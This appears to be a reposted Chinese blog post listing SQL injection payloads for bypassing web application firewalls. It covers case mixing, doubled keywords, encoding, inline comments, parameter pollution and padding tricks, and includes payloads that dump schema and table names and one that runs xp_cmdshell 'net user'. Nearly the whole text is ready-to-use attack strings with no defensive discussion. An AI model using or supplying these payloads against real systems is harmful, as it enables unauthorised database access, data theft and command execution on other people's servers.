SQL注入過WAF思路
阿新 • • 發佈：2020-12-15
基礎
大小寫 id=-1 uNIoN sELecT 1,2,3 雙寫 id=-1 UNIunionON SELselectECT 1,2,3 編碼 id=1%252f%252a*/UNION%252f%252a /SELECT id=1%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1 十六進位制 id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 註釋&內聯註釋 id=-1 %55nION/**/%53ElecT 1,2,3 id=-1'union%a0select pass from users# id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3 id=-1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3
特殊符號
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
'se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
函式替換
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir()
http相關
http引數解析 /?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&id=2,3+from+users+where+id=1— /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users http引數分段 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
IntegrationIntegration
id=-1+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
快取區溢位
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
參考
https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/